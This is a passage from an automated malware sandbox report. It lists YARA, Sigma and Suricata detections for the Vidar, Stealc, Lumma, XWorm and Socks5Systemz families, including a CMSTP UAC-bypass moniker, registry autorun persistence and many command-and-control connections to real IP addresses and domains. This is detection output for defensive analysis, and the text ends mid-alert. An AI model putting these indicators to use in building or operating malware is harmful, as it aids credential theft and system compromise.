43.2.cmd.exe.584da00.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62dba:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x63046:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62e45:$s1: CoGetObject 0x630d1:$s1: CoGetObject 0x62d9e:$s2: Elevation:Administrator!new: 0x6302a:$s2: Elevation:Administrator!new:
21.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
21.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
43.2.cmd.exe.5892acd.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
43.2.cmd.exe.5892acd.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1dced:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1df79:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1dd78:$s1: CoGetObject 0x1e004:$s1: CoGetObject 0x1dcd1:$s2: Elevation:Administrator!new: 0x1df5d:$s2: Elevation:Administrator!new:
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
37.2.SendBugReportNew.exe.50000000.8.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
43.2.cmd.exe.58936cd.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
43.2.cmd.exe.58936cd.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x1d0ed:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d379:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x1d178:$s1: CoGetObject 0x1d404:$s1: CoGetObject 0x1d0d1:$s2: Elevation:Administrator!new: 0x1d35d:$s2: Elevation:Administrator!new:
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
43.2.cmd.exe.5ed00c8.7.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
43.2.cmd.exe.5ed00c8.7.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x4e9f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x4f3c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5051:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x4d11:$cnc4: POST / HTTP/1.1
42.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
42.2.RegAsm.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
42.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
42.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
43.2.cmd.exe.5ed00c8.7.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
43.2.cmd.exe.5ed00c8.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6c9f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d3c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e51:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b11:$cnc4: POST / HTTP/1.1
8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
Click to see the 40 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe, ParentImage: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe, ParentProcessId: 8056, ParentProcessName: U6y3wrWv6W7x1LKCsdmr6zZR.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 7352, ProcessName: powercfg.exe

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe, ProcessId: 7272, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ExtreamFanV6

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe, ProcessId: 7272, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7228, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 31.41.244.9

Timestamp:	2024-08-30T03:17:06.076599+0200
SID:	2803270
Severity:	2
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:07.013895+0200
SID:	2049467
Severity:	1
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:07.013895+0200
SID:	2050112
Severity:	1
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 85.209.133.150 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:09.343472+0200
SID:	2852870
Severity:	1
Source Port:	6677
Destination Port:	49820
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T03:17:56.394992+0200
SID:	2055479
Severity:	1
Source Port:	54197
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:25.008907+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49850
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:41.001205+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:44.962315+0200
SID:	2049467
Severity:	1
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:44.962315+0200
SID:	2050112
Severity:	1
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound - Source IP: 85.209.133.150 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:02.779734+0200
SID:	2853191
Severity:	1
Source Port:	6677
Destination Port:	49820
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 76.76.21.241

Timestamp:	2024-08-30T03:17:06.821198+0200
SID:	2803270
Severity:	2
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] RisePro TCP (Token) - Source IP: 77.105.164.24 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:28.767559+0200
SID:	2046266
Severity:	1
Source Port:	50505
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:08.715226+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:55.480277+0200
SID:	2055576
Severity:	1
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T03:17:04.683191+0200
SID:	2054711
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:36.361960+0200
SID:	2049467
Severity:	1
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:36.361960+0200
SID:	2050112
Severity:	1
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:15.262017+0200
SID:	2049467
Severity:	1
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:15.262017+0200
SID:	2050112
Severity:	1
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:13.044177+0200
SID:	2028765
Severity:	3
Source Port:	49789
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:30.007392+0200
SID:	2049467
Severity:	1
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:30.007392+0200
SID:	2050112
Severity:	1
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:09.677328+0200
SID:	2049467
Severity:	1
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:09.677328+0200
SID:	2050112
Severity:	1
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:54.248293+0200
SID:	2028765
Severity:	3
Source Port:	49767
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE PrivateLoader CnC Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T03:16:58.560515+0200
SID:	2054709
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:07.787915+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:46.885662+0200
SID:	2049467
Severity:	1
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:46.885662+0200
SID:	2050112
Severity:	1
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:08.740773+0200
SID:	2049467
Severity:	1
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:08.740773+0200
SID:	2050112
Severity:	1
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:24.333695+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49851
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:30.867604+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 94.130.188.148 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:56.667931+0200
SID:	2044247
Severity:	1
Source Port:	443
Destination Port:	49769
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:19.192132+0200
SID:	2049467
Severity:	1
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:19.192132+0200
SID:	2050112
Severity:	1
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:33.332010+0200
SID:	2028765
Severity:	3
Source Port:	49803
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:24.953951+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49851
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:11.340983+0200
SID:	2028765
Severity:	3
Source Port:	49788
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:37.709777+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:37.903493+0200
SID:	2049467
Severity:	1
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:37.903493+0200
SID:	2050112
Severity:	1
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:52.270759+0200
SID:	2049467
Severity:	1
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:52.270759+0200
SID:	2050112
Severity:	1
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:57.837162+0200
SID:	2049467
Severity:	1
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:57.837162+0200
SID:	2050112
Severity:	1
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:06.580047+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:14.413621+0200
SID:	2049467
Severity:	1
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:14.413621+0200
SID:	2050112
Severity:	1
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:49.729520+0200
SID:	2803304
Severity:	3
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:31.046923+0200
SID:	2044246
Severity:	1
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) - Source IP: 192.168.2.4 - Destination IP: 85.209.133.150

Timestamp:	2024-08-30T03:19:21.635491+0200
SID:	2852923
Severity:	1
Source Port:	49820
Destination Port:	6677
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:47.968439+0200
SID:	2049467
Severity:	1
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:47.968439+0200
SID:	2050112
Severity:	1
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:41.792068+0200
SID:	2049467
Severity:	1
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:41.792068+0200
SID:	2050112
Severity:	1
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:14.762586+0200
SID:	2028765
Severity:	3
Source Port:	49790
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Vidar Stealer Form Exfil - Source IP: 192.168.2.4 - Destination IP: 95.164.119.162

Timestamp:	2024-08-30T03:18:36.451666+0200
SID:	2054495
Severity:	1
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:18.312349+0200
SID:	2049467
Severity:	1
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:18.312349+0200
SID:	2050112
Severity:	1
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:05.705145+0200
SID:	2028765
Severity:	3
Source Port:	49781
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:06.776998+0200
SID:	2803270
Severity:	2
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:54.152039+0200
SID:	2049467
Severity:	1
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:54.152039+0200
SID:	2050112
Severity:	1
Source Port:	49824
Destination Port:	80
Protocol:	TCP
